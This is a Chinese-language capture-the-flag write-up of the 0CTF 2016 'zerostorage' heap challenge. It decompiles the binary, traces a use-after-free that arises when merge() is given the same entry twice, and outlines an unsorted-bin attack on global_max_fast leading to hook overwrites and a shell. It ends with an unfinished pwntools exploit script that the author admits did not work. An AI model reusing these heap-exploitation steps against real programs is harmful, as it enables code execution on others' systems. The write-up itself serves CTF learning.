一、题目
zerostorage
前言:这道题是2016年的0CTF的一道pwn,带了点内核的考点在里面,主要是unsorted_bin的攻击。
1、分析保护机制
保护全开,ida搞一波:
初始化时有个随机数生成的函数,为后面的堆地址进行异或加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { init_0(); while ( 1 ) { puts("== Zero Storage =="); puts("1. Insert"); puts("2. Update"); puts("3. Merge"); puts("4. Delete"); puts("5. View"); puts("6. List"); puts("7. Exit"); puts("=================="); __printf_chk(1LL, "Your choice: "); switch ( read_0() ) { case 1u: insert(); break; case 2u: update(); break; case 3u: merge(); break; case 4u: delete(); break; case 5u: view(); break; case 6u: list(); break; case 7u: puts("Bye"); return 0LL; default: puts("Invalid!"); break; } } }
|
熟悉的菜单题,接着就是一步步分析代码找出漏洞点,这里提醒下自己,应该多做些难题,提升代码审计的能力,遇到很多很复杂的代码才不会慌。
先来看下insert(malloc):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| int insert() { int number; _DWORD *ptr; signed int size; const char *v3; signed int size_1; signed int size_2; __int64 chunk; __int64 v7; char *v8;
number = 0; ptr = &unk_203060; while ( *ptr ) { ++number; ptr += 6; if ( number == 32 ) { v3 = "Unable to insert more entries."; return puts(v3); } } __printf_chk(1LL, "Length of new entry: "); size = read_0(); v3 = "Invalid length!"; if ( size <= 0 ) return puts(v3); size_1 = 0x1000; size_2 = 0x80; if ( size <= 0x1000 ) size_1 = size; if ( size_1 >= 0x80 ) size_2 = size_1; chunk = calloc(size_2, 1uLL); if ( !chunk ) { fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr); exit(-1); } __printf_chk(1LL, "Enter your data: "); read_data(chunk, size_1); v7 = unk_203048 ^ chunk; v8 = &unk_203060 + 0x18 * number; *v8 = 1; *(v8 + 1) = size_1; *(v8 + 2) = v7; ++num; return __printf_chk(1LL, "New entry %d is successfully inserted.\n"); }
|
这里要知道一个知识点,calloc函数申请出来的内存会自动先清零,这样就几乎没有UAF的漏洞了。
因此可以整理出一个结构体:
接着就是分析update函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| int update() { unsigned int idx; __int64 v1; char *v2; const char *v3; signed int size; signed int v6; signed int v7; __int64 v8; __int64 chunk; char *v10;
if ( !num ) return puts("No entries yet."); __printf_chk(1LL, "Entry ID: "); idx = read_0(); if ( idx > 31 || (v1 = idx, v2 = &unk_203060 + 24 * idx, *v2 != 1) ) { v3 = "Invalid ID!"; return puts(v3); } __printf_chk(1LL, "Length of entry: "); size = read_0(); if ( size <= 0 ) { v3 = "Invalid length!"; return puts(v3); } v6 = 0x1000; if ( size <= 0x1000 ) v6 = size; v7 = 0x80; LODWORD(v8) = 0x80; if ( v6 >= 0x80 ) v7 = v6; chunk = unk_203048 ^ *(v2 + 2); if ( *(v2 + 1) >= 0x80uLL ) v8 = *(v2 + 1); if ( v7 != v8 ) { chunk = realloc((unk_203048 ^ *(v2 + 2)), v7); if ( !chunk ) { fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr); exit(-1); } } __printf_chk(1LL, "Enter your data: "); read_data(chunk, v6); v10 = &unk_203060 + 24 * v1; *(v10 + 2) = unk_203048 ^ chunk; *(v10 + 1) = v6; return __printf_chk(1LL, "Entry %d is successfully updated.\n"); }
|
这里的update涉及到一个新知识,realloc(ptr,size)函数,扩展申请函数,按照size的不同,分为以下几种情况:
1、size是和原来的ptr相同时,则什么也不做
3、size大于原来的ptr的size时,后面有堆块隔着topchunk,就会重新申请一块size大小的堆块,然后把新的内容写进去,接着把ptr的堆块给释放掉,ptr的指针重新指向新的申请堆块的地址(没有堆块隔着topchunk时就会直接返回ptr,同时大小变为realloc中的size)
4、size小于ptr大小时,收缩堆块size为realloc中要求的size,有多的部分free掉
5、当size为0时,表示free(ptr),具体介意看源码分析
4、size为负数没卵用。。。别问了
接着就是输入数据,然后结构体的信息存储下
下面重点看下merge函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| int merge() { int idx; _DWORD *v1; unsigned int idx1; char *chunk1; const char *v4; unsigned int idx2; __int64 v7; char *chunk2; unsigned __int64 chk1size; __int64 chk2size; signed __int64 v11; size_t v12; unsigned __int64 Zsize; __int64 v14; char *chunk22; size_t v16; __int64 dx2; unsigned __int64 ZZsize; char *ck1; unsigned __int64 chunk222; __int64 v21; char *newchunk; void *chunk1_1; char *chk2; char *v25; unsigned __int64 v26; __int64 v27;
if ( num <= 1uLL ) return puts("Not enough entries to merge."); idx = 0; v1 = &unk_203060; while ( *v1 ) { ++idx; v1 += 6; if ( idx == 32 ) { v4 = "Unable to insert more entries."; return puts(v4); } } __printf_chk(1LL, "Merge from Entry ID: "); idx1 = read_0(); if ( idx1 > 0x1F || (chunk1 = &unk_203060 + 24 * idx1, *chunk1 != 1) || (__printf_chk(1LL, "Merge to Entry ID: "), idx2 = read_0(), idx2 > 0x1F) || (v7 = idx2, chunk2 = &unk_203060 + 24 * idx2, *chunk2 != 1) ) { v4 = "Invalid ID!"; return puts(v4); } chk1size = *(chunk2 + 1); chk2size = *(chunk1 + 1); v11 = 0x80LL; v12 = 0x80LL; v25 = chunk2; Zsize = chk2size + chk1size; v14 = unk_203048; if ( (chk2size + chk1size) >= 0x80 ) v12 = chk2size + chk1size; chunk22 = (*(chunk2 + 2) ^ unk_203048); if ( chk1size >= 0x80 ) v11 = *(chunk2 + 1); if ( v12 == v11 ) { v16 = *(chunk1 + 1); } else { v27 = v7; v26 = chk2size + chk1size; chunk22 = realloc((*(chunk2 + 2) ^ unk_203048), v12); if ( !chunk22 ) { fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr); exit(-1); } v16 = *(chunk1 + 1); Zsize = v26; v14 = unk_203048; chk1size = *(v25 + 1); v7 = v27; } dx2 = v7; ZZsize = Zsize; ck1 = &unk_203060 + 24 * idx1; chunk222 = chunk22; memcpy(&chunk22[chk1size], (*(ck1 + 2) ^ v14), v16); v21 = unk_203048; newchunk = &unk_203060 + 24 * idx; *(newchunk + 2) = unk_203048 ^ chunk222; chunk1_1 = (*(ck1 + 2) ^ v21); *newchunk = 1; *(newchunk + 1) = ZZsize; *ck1 = 0; *(ck1 + 1) = 0LL; free(chunk1_1); *(ck1 + 2) = 0LL; chk2 = &unk_203060 + 24 * dx2; *chk2 = 0; *(chk2 + 1) = 0LL; *(chk2 + 2) = 0LL; --num; return __printf_chk(1LL, "Entry %d is successfully merged to entry %d. New entry ID is %d.\n"); }
|
代码审计能力真的很重要,一个很重要的知识点和技巧就是熟练掌握重命名的方法(n),这样会让题目清晰很多,还有写结构体,理清楚逻辑,堆题一般都可以看懂,虽然不一定会做hhhhh
这里有个和明显的点,没有指明merge的两个堆块不能是同一个堆块,漏洞点就在这里,当两个堆块是同一个堆块时,大小必定相同,然后就会合并成一个新的堆块(相当于自我copy)
由于保留了to堆块的地址,free掉了from的地址,但是from和to是用同一个地址,漏洞出现!
我们可以读写free完了的数据,造成UAF漏洞,这里通过构造堆块布局,可以泄露出堆地址和真实地址
接着看free函数:
)常见的free功能,但是有UAF,但是用不了,因为重新calloc时,会自动清空原有的值(main_arena的地址)
再接着是打印函数:
根据下标索引来确定地址,从而打印出里面的内容,可打印真实地址和heap地址
用来看下idx
最后是有个exit函数
好了,以上分析完了,知道漏洞点在merge函数那里,也是重点分析的地方,下面讲解下思路
1、先堆块布局,然后利用merge相同块的UAF泄露出堆地址和真实地址
2、根据真实地址得到system、free_hook地址(开了got表可改)、程序基地址
3、因为程序只能申请unsorted_bin的大小,但是我们可以改free块的内容,也就是说可以改bk指针,就可以改变global_max_fast为main地址,实现unsorted_bin的attack
4、这样后面申请的堆块都是fastbin的堆块,也就是说可以伪造堆块任意地址写了。
5、改变free状态的fastbin的FD指针为我们的fake_chunk,通过不断申请得到fake_chunk,实现的正是任意地址写的操作。
6、要么是fake_chunk改malloc_hook为onegadget,要么house of spirit到bss段,然后改写那个堆地址为free_hook地址,接着再dpdate时就可以改free_hook为system,再free掉一个/bin/sh\x00的堆块既可getshell
*这里顺便也记录下realloc使用的技巧:
1 2 3 4 5 6 7 8 9 10 11
| malloc(0,0x60)
malloc(1,0x60)
malloc(2,0x60)
remalloc(0,0x0) //相当于free(0)
free(1)
free(0)
|
这样就有double free的产生了,接着就任意地址写了。
这道题其实没有复现成功,因为我的环境是ubuntu16.04的,但是这题是14的,所以利用offset2libc我的不行。
讲解下offset2libc(内核部分):
这是一种可以绕过内存地址随机化的攻击方式,泄露出libc的真实地址后,offset2libc是程序基地址(0x7f开头的映射地址,映射的是0x55开头的地址)和libc的基地址之间的偏移,这个根据ubuntu版本和编译连接的顺序决定,我知道14版本的是0x5e4000,所以可以直接用。。。。
最后黏贴下我的半成品exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./zerostorage') if local: p = process('./zerostorage') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content): ru("Your choice: ") sl('1') ru("Length of new entry: ") sl(str(size)) ru("Enter your data: ") sl(content) def update(index,size,content): ru("Your choice: ") sl('2') ru("Entry ID: ") sl(str(index)) ru("Length of entry: ") sl(str(size)) ru("Enter your data: ") sl(content) def merge(idx1,idx2): ru("Your choice: ") sl('3') ru("Merge from Entry ID: ") sl(str(idx1)) ru("Merge to Entry ID: ") sl(str(idx2)) def free(index): ru("Your choice: ") sl('4') ru("Entry ID: ") sl(str(index)) def view(index): ru("Your choice: ") sl('5') ru("Entry ID: ") sl(str(index)) def list(): ru("Your choice: ") sl('6') def exit(): ru("Your choice: ") sl('7') unk = 0xfaac901f2519a1e1 debug(0x000000000000139D) malloc(0x8,'aaaaaaaa') malloc(0x8,'bbbbbbbb') malloc(0x8,'cccccccc') malloc(0x8,'eeeeeeee') malloc(0x8,'ffffffff') malloc(0x68,'g'*0x68) free(0) merge(2,2) view(0) ru("Entry No.0:\n") heap = u64(rc(8)[:-2].ljust(8,'\x00')) print "heap--->" + hex(heap) malloc_hook = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10 print "malloc_hook--->" + hex(malloc_hook) libc_base = malloc_hook - libc.symbols["__malloc_hook"] system = libc_base + libc.symbols["system"] onegadget = libc_base + 0xf1147
free_hook = libc_base + libc.symbols["__free_hook"] global_max_fast_addr = libc_base + 0x3c67f8 bss_addr = pie_addr + 0x203060
malloc(0x8,'zzzzzzzz') py = '' py += p64(0) + p64(global_max_fast_addr-0x10) update(0,0x10,py) malloc(0x8,'mmmmmmmm')
p.interactive()
|
这里计算那个全局变量global_max_fast时,利用的是固定偏移法,直接libc.symbols[“”]是找不到的。
gdb动态调试:telescope &(函数或者变量的名字)可以看真实地址以及里面的内容
telescope &global_max_fast
就会回显出全局变量的真实地址